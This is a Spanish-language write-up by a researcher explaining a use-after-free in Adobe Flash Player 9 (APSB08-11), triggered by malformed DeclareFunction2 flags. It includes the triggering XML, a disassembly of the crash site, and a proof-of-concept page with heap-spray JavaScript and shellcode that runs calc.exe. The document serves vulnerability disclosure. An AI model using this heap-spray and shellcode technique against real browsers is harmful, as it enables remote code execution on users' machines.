Documentando un poco la vulnerabilidad APSB08-11
Hace algún tiempo encontré una vulnerabilidad en Adobe Flash Player. Ha sido publicada hace poco a través de ZDI como: ZDI-08-021, y en Adobe como: APSB08-11
Vamos a explicar aquà los detalles de esta vulnerabilidad más en profundidad, ya que hasta el momento no se han dado demasiados detalles sobre ella.
 Adobe Flash Player 9.0.115.0 y anteriores parecen tener problemas manejando cierto tipo de tags malformados. Concretamente los problemas ocurren al manejar la acción DeclareFunction2. Si se explota correctamente la vulnerabilidad permite ejecutar código en el proceso del navegador ejecutando el plugin de flash.
 Sobre el formato de los ficheros swf se puede encontrar mucha información por internet. Por ejemplo aquà hay información muy buena: http://www.m2osw.com/swf_alexref.html
Los swf constan de una pequeña cabecera seguida de un montón de tags que terminan con el tag EndTag.
Los tags tienen esta estructura:
       unsigned short f_tag_and_size;
       f_tag = f_tag_and_size >> 6;
       f_tag_data_size = f_tag_and_size & 0x3F;
       if(f_tag_data_size == 63) {
        unsigned long f_tag_data_real_size;
       }             Â
       else {  Â
          f_tag_data_real_size = f_tag_data_size;              Â
       }       Â
       };
Y las acciones esta otra:
       char align;
       unsigned f_action_has_length : 1;
       unsigned f_action_id : 7;
       if(f_action_has_length) {
        unsigned short f_action_length;
        unsigned char f_action_data[f_action_length];
        }
       };
Las acciones van embebidas en los tags que soportan acciones.
La acción DeclareFunction2 (código 0x8e) contenida en el tag DoInitActions es la causante de esta vulnerabilidad.
Esta acción tiene esta estructura:
unsigned short f_arg_count;
unsigned char f_reg_count;
unsigned short f_declare_function2_reserved : 7;
unsigned short f_preload_global : 1;
unsigned short f_preload_parent : 1;
unsigned short f_preload_root : 1;
unsigned short f_suppress_super : 1;
unsigned short f_preload_super : 1;
unsigned short f_suppress_arguments : 1;
unsigned short f_preload_arguments : 1;
unsigned short f_suppress_this : 1;
unsigned short f_preload_this : 1;
swf_params    f_params[f_arg_count];
unsigned short f_function_length;
Y es usada para declarar funciones que pueden ser llamadas desde otras acciones más tarde.
Las funciones declaradas con esta acción soportan hasta 255 registros que se pueden manipular dentro de la función. Además es posible controlar si en estos registros se cargaran o no ciertas variables internas dentro de la función: this, arguments, super, _root, _parent y _global. Esto se hace con los bits de preloading y supressing. El parámetro f_reg_count debe ser especificado y dice al player de flash el registro más alto en uso dentro de la función. Los registros empiezan como undefined por defecto. Las variables internas que se precargan son cargadas a partir del registro 1 y se cargan en este orden: this, arguments, super, _root, _parent y _global.
El bug ocurre cuando bajo ciertas condiciones se declara una función con algún numero de registros y se suprimen los registros también marcados como precargados: this, super y arguments. En xml:
<DeclareFunction2 name=»» argc=»0″ regc=»3″ preloadThis=»1″ suppressThis=»1″ preloadArguments=»1″ suppressArguments=»1″ preloadSuper=»1″ suppressSuper=»1″ preloadRoot=»0″ preloadParent=»1″ preloadGlobal=»0″ reserved=»1″>
Aquà se muestra un desensamblado del código que casca:
.text:30058022                push   ebx
.text:30058023                push   esi
.text:30058024                mov    esi, ecx
.text:30058026                xor    ebx, ebx
.text:30058028                cmp    [esi+3Dh], bl
.text:3005802B                mov    dword ptr [esi], offset off_301A8FB0
.text:30058031                jz     short loc_3005805C
.text:30058033                mov    eax, [esi+24h]
.text:30058036                push   edi
.text:30058037                mov    edi, [eax+1Ch]
.text:3005803A                push   dword ptr [esi+30h]
.text:3005803D                mov    ecx, edi
.text:3005803F                call   sub_30188B70
.text:30058044                push   dword ptr [esi+40h]
.text:30058047                mov    ecx, edi
.text:30058049                call   sub_30188B70
.text:3005804E                mov    ecx, [esi+0Ch]
.text:30058051                cmp    ecx, ebx
.text:30058053                pop    edi
.text:30058054                jz     short loc_3005805C
.text:30058056              mov    eax, [ecx]    (*1)
.text:30058058              push   1
.text:3005805A              call   dword ptr [eax]
(*1) En 30058056, ecx está apuntando a un objecto, una clase de c++, que cuando se dan las condiciones para que se reproduzca la vulnerabilidad, es un objeto inválido, y la dirección es inválida o el puntero apunta a una dirección que contiene cualquier otra cosa porque se ha reusado esa memoria.
 PoC:
Como decÃamos lo que parece estar ocurriendo es que se ha liberado un objeto pero en alguna parte se sigue usando un puntero a éste, y la memoria a la que apuntaba ahora contiene otras cosas. Controlando el contenido de esa memoria (usando la técnica de heap spraying por ejemplo) serÃa posible controlar la dirección del salto.
 Aquà va un ejemplo de una página web haciendo referencia a un swf y haciendo heap spraying con una shellcode que ejecuta calc.exe.
var payLoadCode=unescape(
"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
var heapBlockSize = 0x98000;
var SizeOfHeapDataMoreover = 0x26;
var payLoadSize = (payLoadCode.length * 2);
var spraySlideSize = heapBlockSize – (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks=1470;
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
</script>
<input type="button" language="JavaScript" /><object width="550" height="400">
<param name="movie" value="a.swf"></param></object>
Esta vulnerabilidad fue también reportada y usada por Shane Macauley para el reto de vista del concurso PWN to OWN de ZDI: